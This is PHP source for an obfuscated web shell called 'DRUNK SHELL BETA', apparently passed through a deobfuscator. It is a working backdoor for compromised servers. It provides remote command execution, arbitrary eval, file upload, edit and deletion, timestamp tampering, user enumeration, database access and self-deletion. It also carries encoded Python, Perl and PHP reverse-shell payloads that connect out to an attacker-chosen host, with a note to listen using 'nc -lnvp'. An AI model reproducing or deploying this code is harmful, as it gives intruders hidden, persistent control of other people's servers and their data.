/* Decoded by unphp.net */ $xx){ $WKWK[$x] = nhx(Dex($xx)); } $at = (isset($_GET["x"])) ? Dex($_GET["x"]) : $WKWK[19]("\", "/", $WKWK[11]()) . "/"; $rn = $WKWK[33]("/\\|\//", $at); $code = [ "python" => "6d5138716c36443945465a724f3774626a4b706e6a5144716b6130644e505a6e4247306e42465a346b71786e58505a724f3774626a4b346e6c375a764e5057796b3730646d3752394263484750396259565257756b3730646d37523942625a5857397468533856555653485a4357786e42615a726c6134624f36577943465a346b6f34666b616a37516e486a424762736a4b666e695041734f50447a6a62756f50556378435778726b6f34636a504d6f434641734e6162754e513472434b6375414b63436c3641734e4652714165666e42614e786c4752736c6f6778424a49784b61306e426156386b4a45796b6f34616d5170626c6131794355716f435778786c504c726b7a57676b4656344b7a4c396955346e6b4748366c656765423744786c6530654f505a794565633d", "perl" => "456f49726a505a6f423744786c6530714e504475454b38364b7a526e4e554c546c375a764e5057324b6556785855564c53636a51516e4c6a597179636b4a39635752444652627570505475436b3730646d3752394348417553494e6855533448524b705454395a4250385a535363524c5455707a4e5056716b6130396c3744346c6148744e5567656a475a7145656378597178784e6566646c3734734e515a39434841756b3730646d3748634e4644686d51357944464d756d5134626a4830666a473073434b567843556378435074726b47527343485a5356496259424b452b44624165435475436c364c626c656654524956585252577545643561536f4578597178726b47527343485a53564952555365716558654e54456563324b6152354e514179456530656d5135726b37676742516365435475436854753d", "php" => "6b375239503656786c5152686c4762746d505779414b633244475a796a51347650365a786961533041545771414a75636a3644786a4752684f5438736a517075596f56626b7a44726b623066585134386c47713244465a794e51707558556a386c6148744e554d744f5475676a6e75676d515732454b30656d5135726b3767674251637a596f56634f5152746c373530414a75634e4752656a516b30414a74784e6566616a5134646a4762726c6230626947626e6a46417944364c646c7a567550374e726b61757a4355623244464c784e4a38714f3734396c4830616c364476434b63326d514f7944464c784e4a393042544978693752356d5057794155633268516261434b56716d515778693752356d505779414b63326851626143464c726b37623550365a626a465a784e4b677858543974415562324e5066786a4b677043547430444756664e5138726c643970593638646d4756786b656765426f4578593652744f505a76434a4d78596f566e6c375a7658514e6e6c375a766c364c626c6567636d504d7544464c726b7a57754447526f6b613472424b56626b7a446e6a464575416e4d7859376261434b49636b3730646d6f62324e5066786a4b677043547430444756626b375a6f6d504c396c36446e6b4752645851486f6b614834434a4d305861486f6b614834434b44716d504c62456571656b654578424a49305861486f6b614834434b44716d504c62456571656a6f4578424a45305861486f6b614834434b44716d504c62456571656a6f4578435475636b4644724f37526e6b6e38716b613064503730714e51357944465a794e517075424b56634e505a646b6162716a47306f6b364c624f6f71636b4762714e50417859376261434b48786b38306f4e505a726a5044644e5567636b4644724f37526e6b6f6378693752356d5057794155633268505a396b6152666c52306e4e5056684f6170724f3774786c616b7944464c786b47526e516e4c6a424a4d7859365a396b6152666c52306e4e5056684f6170724f3774786c616b7944464c786b47526e516e486a424a4d7859365a396b6152666c52306e4e5056684f6170724f3774786c616b7944464c786b47526e516e446a424a4d7859365a396b6152666c52306e4e5056684f6170724f3774786c616b7944465a724f377575414b63326a3766786c475379415562326d514f794e6152724e6567636b3730646d6f63786937446f4e514876593638784e6566614e513061434b56716d504c626b387570505563786937446f4e514876593639636b6152664e4830665851486f6b614834434b566e6c375a76424b56716d504c626b387570505571636b4762714e505a6c41623978596f56736a5138684f3766666c616a624e48306e6c375a764e50566e58505a396b6152666c52306e4e5170624f365779444644624f5156684f5571636a3644786a4752684f5571634e50446f6c3644684f5570736a517075435474784e6566786c6230666b7a4466695567636b3730646d6f71636b6152664e48306643556232444762736b46523958514e6f4e514863434b566e6c375a76424b56646d4652736d38306e6d507862435474616a3644786a47537944464c786b47526e516e4c6a424b56786c7a4c386a4b633268516261434762735037486f6b614834434b56716d504c626b387570505571636b6152664e48306643556232444762736b46523958514e6f4e514863434b56716d504c626b387570505571634f3766386c6174686b3762334e5563324e7a6a6f6d505662434b566e6c375a76424b56786c7a4c386a4b633268516261434762735037486f6b614834434b56716d504c626b38756f505571636b6152664e48306643556232444762736b46523958514e6f4e514863434b56716d504c626b38756f505571634f3766386c6174686b3762334e5563324e7a6a6f6d505662434b566e6c375a76424b56786c7a4c386a4b6332685038614f3770726b37537944465a724f37757859374e646c47306e4e5567636b4762714e505a6c4148397859374e646c47306e4e5567636b4762714e505a6c4152397859374e646c47306e4e5567636b4762714e505a6c4162397859364c6f6c375a684f3770726b37537944464c6f6c375a626b36417859713d3d", ]; function hx($x){ $h = ''; for ($i=0; $i".$drive.""; }else{ $ret .= "".$drive.""; } } } }else{ $ret = "This is Linux Lmao"; } return $ret; } function nhx($x){ $h = strToUpper($x); $y=''; for ($i=0; $i < strlen($h)-1; $i+=2){ $y .= chr(hexdec($h[$i].$h[$i+1])); } return $y; } function AllHash($y,$x){ global $WKWK; return $WKWK[45]($y, $x, false); } function GetUsers(){ if(IsWin()){ return Xute("net user"); }else{ return Xute("getent passwd {1000..60000}"); } } function Size($x){ $i = abs($x) ? floor(log($x) / log(1024)) : 0; $sizes = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); return sprintf('%.02F', $x / pow(1024, $i)) * 1 . ' ' . $sizes[$i]; } function Enc($x, $z = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"){ global $BENC, $STr; $y = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; $o = $STr($BENC($x), $y, $z); return $o; } function Kill($x){ if(IsWin()){ return Xute('tskill '.$x); }else{ return Xute('kill '.$x); } } function Read($x){ global $WKWK; $y = $WKWK[12]($x,'r'); $yz = ""; if($y) { while(!$WKWK[48]($y)) { $yz .= htmlentities($WKWK[49]($y,(1024*4))); } $WKWK[14]($y); return $yz; }else{ if(IsWin()){ $y = Xute("type ".$x); }else{ $y = Xute("cat ".$x); } return htmlentities($y); } } function Dec($x, $y = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/'){ global $BDEC, $STr; $z = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $o = $BDEC($STr($x, $z, $y)); return $o; } function Enx($x){ global $ABC, $ST13; return hx($ST13(Enc($x))); } function Dex($x){ global $ABC, $ST13; return Dec($ST13(nhx($x))); } function CopyFile($x, $y){ global $WKWK; $x = $WKWK[19]("\", "/", $x); $y = $y."/".$WKWK[0]($x); $contain = $WKWK[8]($x); if($WKWK[28]($x)){ @$WKWK[40]($y); foreach($contain as $key => $file){ $p = $x."/".$file; $t = $y."/".$file; if ($WKWK[28]($p)) { if($file == "." || $file == ".."){ continue; } CopyFile($p, $t); }else{ $WKWK[43]($p, $t); } } }else{ $WKWK[43]($x, $y); } } function Terminal($x, $y) { global $WKWK; $output = ""; $x = $WKWK[19]("awkawk#$!kwowkoako&^%@#@#$%%%!@akusukakamuhehehe>", "",$x); $x = $x." 2>&1"; if ($WKWK[18]("/^\s*cd\s+(.+) 2>&1\s*$/", $x)) { $WKWK[9]($y); $WKWK[18]("/^\s*cd\s+(.+) 2>&1\s*$/", $x, $dir); $WKWK[9]($dir[1]); } else { $WKWK[9]($y); $output = htmlentities(Xute($x)); } return array("path" => $WKWK[11](), "output" => $output); } function path() { global $WKWK; return array('path' => $WKWK[11]()); } function AjaxDec($x){ global $WKWK; return nhx(base64_decode($x)); } function Epal($x) { try { global $WKWK;##### ob_start();############ $r = eval($x);######### $r = ob_get_contents(); ob_end_clean();######## return $r;############# } catch (ParseError $e) { return false; } } function IsWin(){ global $WKWK; return $WKWK[27](PHP_OS, 'WIN') !== false; } function Bc($ip, $port, $lang) { global $WKWK, $code;# $lang = strtolower($lang); $arg=$ip." ".$port;####### $cod=Dex($code[$lang]);### if($lang == "php"){ $arg="";################################## $cod='$ip="'.$ip.'";$port='.$port.';'.$cod; } if(!RunCode($arg, $cod, $lang)) return false; } function RunCode($argument, $code, $lang){ global $WKWK; $lang=strtolower($lang); $ext = ""; switch ($lang) { case 'python': $ext = "py"; break; case 'perl': $ext = "pl"; break; case 'php': $ext = "php"; break; default: return false; break; } if($lang == "php"){ if(Epal($code)){ return Epal($code); }else{ return false; } }else{ $filepath = $WKWK[15]()."/"."runcode.".$ext; if($WKWK[10]($filepath, $code)){ $argCrafted = $lang." ".$WKWK[15]()."/"."runcode.".$ext." ".$argument; $o = Xute($argCrafted); return $o; if(!$o){ return false; } }else{ return false; } $WKWK[5]($filepath); } } function Search($path, $filename){ global $WKWK; $path = $WKWK[19]("\", "/", $path); $contain = $WKWK[8]($path); $file_html = ""; foreach($contain as $key => $file){ $p = realpath($path.DIRECTORY_SEPARATOR.$file); if ($WKWK[28]($p)) { if($file == "." || $file == ".."){ continue; } Search($p, $filename); }else{ if($WKWK[27]($file, $filename) !== false){ $fp = "?x=" . Enx($path) . "&y=" . Enx($file); $pf = $path. $file; $file_html .= " $file
$p
$file
$p
".Size($WKWK[61]($pf))." ".lastmod($p)." ".PermColor($path . $file)." ".OG($path . $file )."
"; } } if($key == count($contain) - 1){ if(empty($file_html)){ return "Not Found :("; }else{ return $file_html; } } } } if (isset($_SESSION["__token"])){ if (isset($_GET["sad"])) { switch ($_GET["sad"]){ case 'deleteme': session_destroy(); $WKWK[5]($_SERVER["SCRIPT_FILENAME"]); break; case 'out': session_destroy(); header("Location:".$_SERVER["PHP_SELF"]); break; } } if (isset($_GET["api"])) { if($_GET["api"] !== "dwnld"){ header('Content-Type: application/json'); } switch ($_GET["api"]) { case 'hash': $x = $_POST["x"]; $y = $_POST["y"]; echo $WKWK[20]( array( "algo" => $y, "result" => AllHash($y, $x) ) ); break; case 'dwnld': $filePath = AjaxDec($_POST["fullpath"]); header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Disposition: attachment; filename=".$WKWK[0]($filePath)); header("Content-Transfer-Encoding: binary"); $WKWK[16]($filePath); break; case 'edit': if(isset($_POST["path"]) && isset($_POST["content"])){ if(!write(AjaxDec($_POST["path"]), AjaxDec($_POST["content"]))) die($WKWK[20](array('msg' => "Failed"))); echo $WKWK[20](array('msg' => "Done")); } break; case 'path': echo $WKWK[20](path()); break; case 'mysql': $q = AjaxDec($_POST["query"]); $res = $conn->query($q); $resType = $conn->query($q); $colname=array(); $html = ""; $raw = array(); $aff = $conn->affected_rows; $type = array( 1=>'tinyint', 2=>'smallint', 3=>'int', 4=>'float', 5=>'double', 7=>'timestamp', 8=>'bigint', 9=>'mediumint', 10=>'date', 11=>'time', 12=>'datetime', 13=>'year', 16=>'bit', 253=>'varchar', 254=>'char', 246=>'decimal' ); if($aff > 0){ $html .= ""; $html .= ""; $html .= ""; $html .= ""; while ($row_type = $resType -> fetch_field()) { $html .= ""; $html .= ""; $html .= ""; $html .= ""; $html .= ""; } $html .= "
NameMax LengthType
".$row_type -> name."".$row_type -> max_length."".$type[$row_type -> type]."
"; $html .= ""; $html .= ""; while ($row = $res -> fetch_field()) { $html .= ""; $colname[] = $row -> name; } $html .= ""; while ($rows = $res -> fetch_assoc()) { $raw[] = $rows; $html .= ""; foreach ($colname as $key => $value) { $html .= ""; } $html .= ""; } $html .= "
".$row -> name."
".$rows[$value]."
"; } if ($aff < 0) { $warning = "No rows were affected"; }else{ $warning = "Affected rows : ".$conn->affected_rows; } $return = array('msg' => $warning, 'html' => $html, "raw" => array("colname" => $colname, "rawdata" => $raw)); echo $WKWK[20]($return); break; case 'terminal': echo $WKWK[20](Terminal(AjaxDec($_POST["cmd"]),AjaxDec($_POST["path"]))); break; case 'execode': $o = Runcode("",AjaxDec($_POST["code"]),AjaxDec($_POST["lang"])); if(!$o) die($WKWK[20](array("output" => "Something Wrong :("))); echo $WKWK[20](array("output" => $o)); break; case 'search': $h = " ". Search(AjaxDec($_POST["path"]), AjaxDec($_POST["searchfile"])). "
Name Size Lastmod Perm Owner:Group Action
"; echo $WKWK[20](array("data" => $h)); break; case 'bc': if (isset($_POST["ipport"])) { $ip_port = $WKWK[33]("/:/", AjaxDec($_POST["ipport"])); $ip = $ip_port[0]; $port = $ip_port[1]; if (!empty($ip) && !empty($port)){ if(!Bc($ip, $port, AjaxDec($_POST["lang"]))) die($WKWK[20](array("msg" => text("Something Wrong!?", "fail")))); echo $WKWK[20](array("msg" => text("OK!", "success"))); }else{ echo $WKWK[20](array("msg" => text("Invalid Format", "fail"))); } } break; default: echo $WKWK[20](array("CARI APA BAGN" => "CARI APA BAGN")); break; } die(); } } $WKWK[9]($at); ?> DRUNK SHELL BETA
'; if(isset($_POST["peswed"])){ $peswed = $WKWK[45]("sha256", $WKWK[44]($_POST["peswed"])); if ($auth == $peswed) { $token = $WKWK[45]("sha256", $WKWK[44](uniqid())); $_SESSION["__token"] = $token; header("Location:".$_SERVER["REQUEST_URI"]); } } }else{ Main(); } function Main(){ HeaderContent(); BodyContent(); TerminalWindow(); Footer(); } function BodyContent(){ global $WKWK; ?>
kernel
disable function
whoami (uid= gid=)
server ip your ip
software
hdd /
lib GCC WGET cURL PYTHON PERL
drives
/ "; $path = "/"; continue; } if ($rn[$i] == "") { continue; } $path = (empty($path)) ? "" : $path; $path = $path . $rn[$i] . "/"; echo "" . $rn[$i] . "/"; } echo "[ ".PermColor($path)." ] "; echo " Self Delete Log Out "; ?>
"; foreach ($all as $su){ if ($su == '.' || $su == '..') continue; if ($WKWK[28]($at . $su)) { echo " "; } } foreach ($all as $su){ global $WKWK, $at; if ($WKWK[29]($at . $su)) { echo " "; }; } echo "
Name Size Lastmod Perm Owner:Group Action
" . $su . " - " . lastmod($at . $su) . " ".PermColor($at . $su )." ".OG($at . $su)."
" . $su . " " . Size($WKWK[61]($at . $su)) . " " . lastmod($at . $su) . " ".PermColor($at . $su)." ".OG($at . $su)."
"; if(isset($_POST["act"])){ if($_POST["act"] == "delete"){ if (isset($_POST["path_dir"])) { if($_POST["path_dir"]){ $pathFilesHTML = ""; foreach ($_POST["path_dir"] as $key => $value) { $pathFilesHTML .= Delete($value)."
"; } Status("Selected Files Status", $pathFilesHTML); } } } if($_POST["act"] == "paste"){ if(!empty($_SESSION["copy"])){ foreach($_SESSION["copy"] as $path_dir){ CopyFile($path_dir, $at); $pathFilesHTML .= $path_dir."
"; } Status("Pasted File/Folder",$pathFilesHTML); unset($_SESSION["copy"]); } if(!empty($_SESSION["move"])){ foreach($_SESSION["move"] as $path_dir){ CopyFile($path_dir, $at); Delete($path_dir); $pathFilesHTML .= $path_dir."
"; } Status("Moved File/Folder",$pathFilesHTML); unset($_SESSION["move"]); } } if($_POST["act"] == "pastef"){ if(!empty($_SESSION["copy"])){ foreach($_SESSION["copy"] as $path_dir){ CopyFile($path_dir, $_POST["path"]); $pathFilesHTML .= $path_dir."
"; } Status("Pasted File/Folder",$pathFilesHTML); unset($_SESSION["copy"]); } if(!empty($_SESSION["move"])){ foreach($_SESSION["move"] as $path_dir){ CopyFile($path_dir, $_POST["path"]); Delete($path_dir); $pathFilesHTML .= $path_dir."
"; } Status("Moved File/Folder",$pathFilesHTML); unset($_SESSION["move"]); } } if($_POST["act"] == "copy"){ if(!empty($_SESSION["move"])) unset($_SESSION["move"]); $_SESSION["copy"] = $_POST["path_dir"]; } if($_POST["act"] == "move"){ if(!empty($_SESSION["copy"])) unset($_SESSION["copy"]); $_SESSION["move"] = $_POST["path_dir"]; } } printf('
Actions
', ((!empty($_SESSION["copy"]) || !empty($_SESSION["move"])) ? '' : "")); } function Menu(){ global $at; ?>
Code Output
'; } function featurebc(){ Title("Reverse Shell"); printf('

run nc -lnvp {your port} in your terminal before clicking REVERSE IT


', $_SERVER["REMOTE_ADDR"].":666" ); } function featureprocess(){ global $WKWK, $at; Title("Process"); echo " "; if(isset($_POST['kill'])){ echo ""; } echo "
"; if(Kill($_POST['pid'])){ echo $_POST['pid']." Killed"; }else{ echo "Something Wrong"; } echo "
".((IsWin()) ? Xute("tasklist") : Xute("ps aux"))."
"; } function featureallinfo(){ Title("All Info"); global $WKWK, $at; $i = Epal("phpinfo();"); $i = $WKWK[18]("/(.*?)<\/body>/is", $i, $m); $i = $m[1]; $i = $WKWK[37]('/(.*?)<\/a>/', "", $i); $i = $WKWK[37]('/(.*?)<\/a>/', "", $i); echo "
"; echo $i; echo "
"; } function featureende(){ global $WKWK, $at; Title("Encode/Decode"); echo "
LIBRARY :
ENCODE/DECODE :
"; } function featurehash(){ global $WKWK, $at; Title("Hash"); echo "
 
  "; 
} 
function TerminalWindow(){ 
  global $WKWK, $at; 
  echo ' 
  
'; } function Title($x){ echo "

".$x."

"; } function HeaderAction($at, $xyz) { global $WKWK; $html = '
Filename : '.$xyz.'
Path : '.$at.$xyz.'
Perm : '.PermColor($at.$xyz).'
Last Mod : '.lastmod($at.$xyz).'
'; $html .= ''; $html .= ''; $html .= 'Chmod'; $html .= 'Rename'; $html .= 'Delete'; $html .= 'Touch'; if(!$WKWK[28]($at.$xyz)){ $html .= 'Edit'; } $html .= ''; $html .= ''; return $html; } function FooterTools(){ global $WKWK, $at; $s = ""; if(!isset($_GET["f"])&&!isset($_GET["act"])){ $s = ' Search File ⮧
'; } printf('
'.$s.'
Create File ⮧
Change Dir ⮧
Read File ⮧
Create File ⮧
Uploader ⮧
',$at,$at); if(isset($_POST["cr8folder"])){ $name=$_POST["foldername"]; $handler=$WKWK[40]($name, 0777); if($handler){ Status("Status", "Folder created!!"); header("Location:".$_SERVER["REQUEST_URI"]); }else{ Status("Status", "Can't create folder :("); header("Location:".$_SERVER["REQUEST_URI"]); } } if(isset($_POST["upload"])){ $upath=$_POST["upload-path"]; $indexs=count($_FILES["upnya"]["name"]); $err = 0; for ($i=0; $i < $indexs; $i++) { $tmp = $_FILES["upnya"]["tmp_name"][$i]; if(!empty($tmp)){ $uplodpath=$upath."/".$_FILES["upnya"]["name"][$i]; if(!$WKWK[43]($tmp, $uplodpath)) $err++; } } if($err == 0){ Status("Msg", "Files Uploaded"); header("Location:".$_SERVER["REQUEST_URI"]); }else{ Status("Msg", "Can't Upload Files"); header("Location:".$_SERVER["REQUEST_URI"]); } } if(isset($_POST["cr8file"])){ $filename=$_POST["filename"]; $handler = $WKWK[12]($filename, "w"); if(!$handler){ Status("Status", "Can't create file :("); header("Location:".$_SERVER["REQUEST_URI"]); }else{ $WKWK[14]($handler); header("Location:?x=".Enx($at)."&y=".Enx($filename)."&act=edit"); } } if (isset($_POST["read"])){ $path = $_POST["path"]; header("Location:?x=".Enx($WKWK[57]($path)."/")."&y=".Enx($WKWK[0]($path))."&act=read"); } if (isset($_POST["cdir"])){ $path = $_POST["goto"]; if (!$WKWK[18]("/\\|\//", substr($path, -1))) { $path = $_POST["goto"]."/"; } header("Location: ?x=".Enx($path)); } } function featureMysql(){ global $WKWK, $at, $conn; Title("MySQL"); if(@empty($_SESSION["mysql"])){ echo '
server :
port :
user :
database :
pw :
'; if(isset($_POST["connect"])){ $server=$_POST["server"]; $uname=$_POST["username"]; $pwd=$_POST["pwd"]; $port=(empty($_POST["port"])) ? "3306" : $_POST["port"]; $database=$_POST["database"]; $testconn = new mysqli($server.":".$port, $uname, $pwd, $database); if($testconn->connect_errno){ echo "Cant connect :("; }else{ $_SESSION["mysql"]["server"]=$server.":".$port; $_SESSION["mysql"]["username"]=$uname; $_SESSION["mysql"]["pwd"]=$pwd; $_SESSION["mysql"]["database"]=$database; echo "CONNECTED"; header("Location: ?f=mysql"); } } }else{ echo '
Databases
'; if(isset($_POST["dbses"])){ $_SESSION["mysql"]["database"] = AjaxDec($_POST["dbses"]); header("Location:".$_SERVER['REQUEST_URI']); } $res = $conn->query("show databases;"); while ($row = $res->fetch_assoc()) { echo ""; if($row["Database"] == @$_SESSION["mysql"]["database"]){ echo "".$row["Database"].""; }else{ echo $row["Database"]; } echo ""; } echo '
'; if (isset($_POST["out"])) { unset($_SESSION["mysql"]["server"]); unset($_SESSION["mysql"]["username"]); unset($_SESSION["mysql"]["pwd"]); unset($_SESSION["mysql"]["database"]); header("Location: ?f=mysql"); } } } function Action($act){ global $WKWK, $at; switch ($act) { case 'touch': printf(' %s
', HeaderAction($at, Dex($_GET["y"])),lastmod($at.Dex($_GET["y"])) ); if(isset($_POST["touch"])){ if(Sentuh($at.Dex($_GET["y"]),$_POST["time"])){ Status("Status", "File Touched!!!"); header("Location:".$_SERVER['REQUEST_URI']); }else{ Status("Status", "Something Wrong?!?!?!"); header("Location:".$_SERVER['REQUEST_URI']); } } break; case 'chmod': printf(' %s
', HeaderAction($at, Dex($_GET["y"])),substr(sprintf('%o', $WKWK[17]($at.Dex($_GET["y"]))),-4) ); if(isset($_POST["changemod"])){ if($WKWK[7]($at.Dex($_GET["y"]),Perm($_POST["perm"]))){ Status("Status", "Wow chmod success!!!"); header("Location:".$_SERVER['REQUEST_URI']); }else{ Status("Status", "Failed to chmod :("); header("Location:".$_SERVER['REQUEST_URI']); } } break; case 'del': if (isset($_GET["y"])) { $msg = Delete($at.Dex($_GET["y"])); Status("Status", $msg); header("Location:".$_SERVER["PHP_SELF"]."?x=".Enx($at)); } break; case 'edit': printf(' %s
', HeaderAction($at, Dex($_GET["y"])),$at.Dex($_GET["y"]),Read($at.Dex($_GET["y"]))); break; case 'rename': printf(' %s
', HeaderAction($at, Dex($_GET["y"])),Dex($_GET["y"])); if(isset($_POST["rename"])){ if($WKWK[42]($at.Dex($_GET["y"]), $at.$_POST["rname"])){ Status("Status", "Success rename a file/folder"); header("Location:".$_SERVER["PHP_SELF"]."?x=".Enx($at)."&y=".Enx($_POST["rname"])."&act=".$_GET["act"]); }else{ Status("Status", "Can't rename a file/folder"); header("Location:".$_SERVER['REQUEST_URI']); } } break; case 'read': printf(' %s
', HeaderAction($at, Dex($_GET["y"])), Read($at.Dex($_GET["y"]))); break; default: echo "404 :p"; break; } } function Footer(){ ?> DELETED!"; }else{ return $path." ==> FAILED!"; } }else{ if($WKWK[5]($path)){ return $path." ==> DELETED!"; }else{ return $path." ==> FAILED!"; } } } function Xute($payload) { global $WKWK; if (isset($payload)) { if (function_exists(Dex("6b36626e6a475274"))) { @ob_start(); @$WKWK[3]($payload); $content = @ob_get_contents(); @ob_end_clean(); return $content; } elseif (function_exists(Dex("6b3766626c4770684e5066624f713d3d"))) { $content = @$WKWK[2]($payload); return $content; } elseif (function_exists(Dex("4e5066624f713d3d"))) { @ob_start(); @$WKWK[1]($payload, $output); foreach ($output as $o) { $content = $content . $o; } $content = @ob_get_contents(); @ob_end_clean(); return $content; } elseif (function_exists(Dex("6b47486e6b3656796b7a533d"))) { @ob_start(); @$WKWK[4]($payload); @ob_end_clean(); $content = @ob_get_contents(); return $content; } elseif(function_exists(Dex("6b4730714e51353d"))) { $buff=""; $pop=$WKWK[46]($payload,"r"); while(!$WKWK[48]($pop)) { $buff.=$WKWK[49]($pop,1024); } $WKWK[47]($pop); return $buff; } else { return false; } } } function MSG(){ if($_SERVER['REQUEST_METHOD'] != "POST"){ if(!empty($_SESSION["msg"]["title"]) && !empty($_SESSION["msg"]["content"])){ echo '
'.$_SESSION["msg"]["title"].' : '.$_SESSION["msg"]["content"].'
'; unset($_SESSION["msg"]); } } } function text($text, $mode) { if ($mode == "success") return "" . $text . ""; if ($mode == "successb") return "" . $text . ""; if ($mode == "fail") return "" . $text . ""; if ($mode == "failb") return "" . $text . ""; if ($mode == "warn") return "" . $text . ""; if ($mode == "warnb") return "" . $text . ""; } function lastmod($file) { global $WKWK; $time = $WKWK[50]($file); $time = $WKWK[51]("Y-m-d H:i:s", $time); return $time; } function PermColor($path, $color = "colored"){ global $WKWK; $textperm = PermText($path); $output = ""; if($WKWK[52]($path)) { if($color == "colored"){ $output = text($textperm."READABLE".PermNumber($path)."", "warn"); }else{ $output = $textperm."READABLE".PermNumber($path).""; } } if($WKWK[53]($path)){ if($color == "colored"){ $output = text($textperm."WRITABLE".PermNumber($path)."", "success"); }else{ $output = $textperm."WRITABLE".PermNumber($path).""; } } if(!$WKWK[53]($path) && !$WKWK[52]($path)){ if($color == "colored"){ $output = text($textperm."ACCESS DENIED".PermNumber($path)."", "fail"); }else{ $output = $textperm."ACCESS DENIED".PermNumber($path).""; } } return $output; } function PermText($path){ global $WKWK; $perms = $WKWK[17]($path); switch ($perms & 0xF000) { case 0xC000: $info = 's'; break; case 0xA000: $info = 'l'; break; case 0x6000: $info = 'b'; break; case 0x8000: $info = '-'; break; case 0x4000: $info = 'd'; break; case 0x2000: $info = 'c'; break; case 0x1000: $info = 'p'; break; default: $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function PermNumber($path){ global $WKWK; $perms = substr(sprintf('%o', $WKWK[17]($path)),-4); return $perms; } function Perm($perm){ global $WKWK; $lolol = $perm; $perms = 0; for($i=strlen($perm)-1;$i>=0;--$i) $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); return $perms; } function write($pathfile, $content) { global $WKWK; $handler = $WKWK[12]($pathfile, 'w'); if($WKWK[13]($handler, $content)){ return true; }else{ return false; } $WKWK[14]($handler); } function Delfolder($_path){ global $WKWK; $path = $WKWK[19]("\", "/", $_path); $contain = $WKWK[8]($path); $file_html = ""; foreach($contain as $key => $file){ $p = realpath($path.DIRECTORY_SEPARATOR.$file); if ($WKWK[28]($p)) { if($file == "." || $file == ".."){ continue; } Delfolder($p); }else{ $WKWK[5]($p); } } if($WKWK[6]($path)){ return true; }else{ return false; } } function Status($title, $content){ $_SESSION["msg"]["title"] = $title; $_SESSION["msg"]["content"] = $content; } ?>